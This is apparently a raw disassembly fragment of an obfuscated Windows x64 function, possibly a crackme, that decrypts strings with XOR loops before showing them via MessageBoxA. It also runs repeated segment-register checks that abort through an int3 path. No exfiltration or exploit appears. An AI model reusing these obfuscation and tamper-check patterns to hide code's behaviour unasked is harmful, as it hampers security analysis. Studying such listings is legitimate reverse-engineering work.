xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rbx
jne 0x14003856b
mov rax, qword gs:[0x45]
mov ebx, 0x79aa73bc
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140037f4d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140037f4d
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003856b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
movdqa xmm0, xmmword [0x1400e5e00]
movdqu xmmword [rbp + 0x368], xmm0
mov word [rbp + 0x378], 0xfe
mov r10, r14
movabs r8, 0x1336d7cd22
mov r11, r12
movabs rbx, 0x8080808080808081
movabs r9, 0x266daf9a44
movabs r15, 0x12157fd01
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r15
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x368], dil
inc r10
add r8, r13
add r11, r12
cmp r8, r9
jb 0x140037fb4
mov byte [rbp + 0x379], r14b
movdqa xmm0, xmmword [0x1400e5d70]
movdqu xmmword [rbp + 0x758], xmm0
mov dword [rbp + 0x768], 0x331f695
mov word [rbp + 0x76c], 0xaf
mov r9, r14
mov rsi, r15
movabs r8, 0x17bc37c12a
mov r11d, reloc.WS2_32.dll_setsockopt
movabs r10, 0x2f786f8254
mov r15d, 0xc781a205
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, rbx
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
mov rax, rbx
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0x758], dil
inc r9
add r8, r13
add r11, 0x15
cmp r8, r10
jb 0x140038060
mov byte [rbp + 0x76d], r14b
xor r9d, r9d
lea r8, [rbp + 0x368]
lea rdx, [rbp + 0x758]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x3c]
cmp rax, r15
mov esi, 0x79aa73bc
jne 0x1400381a1
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x13d4ec0d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x3450d54d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140038181
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140038181
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400381a1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, r15
jne 0x14003856b
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003822f
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003822f
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003856b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14003830c
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x13d4ec0d
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x45]
xor edx, edx
mov eax, 0x59d65afc
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400382ec
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400382ec
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003830c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
movdqa xmm0, xmmword [0x1400e5e00]
movdqu xmmword [rbp + 0x380], xmm0
mov word [rbp + 0x390], 0xfe
mov rdi, r14
movabs rbx, 0x12157fd01
mov qword [rsp + 0x20], rbx
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x380]
lea rcx, [rbp + 0x380]
call fcn.14003869c
xor al, dil
mov byte [rbp + rdi + 0x380], al
inc rdi
cmp rdi, r12
jb 0x140038332
mov byte [rbp + 0x391], r14b
movdqa xmm0, xmmword [0x1400e5fa0]
movdqu xmmword [rbp + 0xcd8], xmm0
movdqa xmm1, xmmword [0x1400e5f00]
movdqu xmmword [rbp + 0xce8], xmm1
movdqa xmm0, xmmword [0x1400e5d80]
movdqu xmmword [rbp + 0xcf8], xmm0
mov dword [rbp + 0xd08], 0x2e8a2b45
mov dword [rbp + 0xd0c], 0x38afaf72
mov dword [rbp + 0xd10], 0xfe57b03f
mov word [rbp + 0xd14], 0xe9
mov rdi, r14
mov qword [rsp + 0x20], rbx
mov r9d, 0x3d
mov r8, rdi
mov dl, byte [rbp + rdi + 0xcd8]
lea rcx, [rbp + 0xcd8]
call fcn.140038710
xor al, dil
mov byte [rbp + rdi + 0xcd8], al
inc rdi
cmp rdi, 0x3d
jb 0x1400383c3
mov byte [rbp + 0xd15], r14b
xor r9d, r9d
lea r8, [rbp + 0x380]
lea rdx, [rbp + 0xcd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x1400384c1
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400384a1
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400384a1
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400384c1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov rax, qword gs:[0x3c]
cmp rax, rsi
jne 0x14003856b
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x45]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14003854b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14003854b
mov rcx, qword gs:[0x45]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14003856b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14009e898
int3
mov ecx, 1
call fcn.14009e898
int3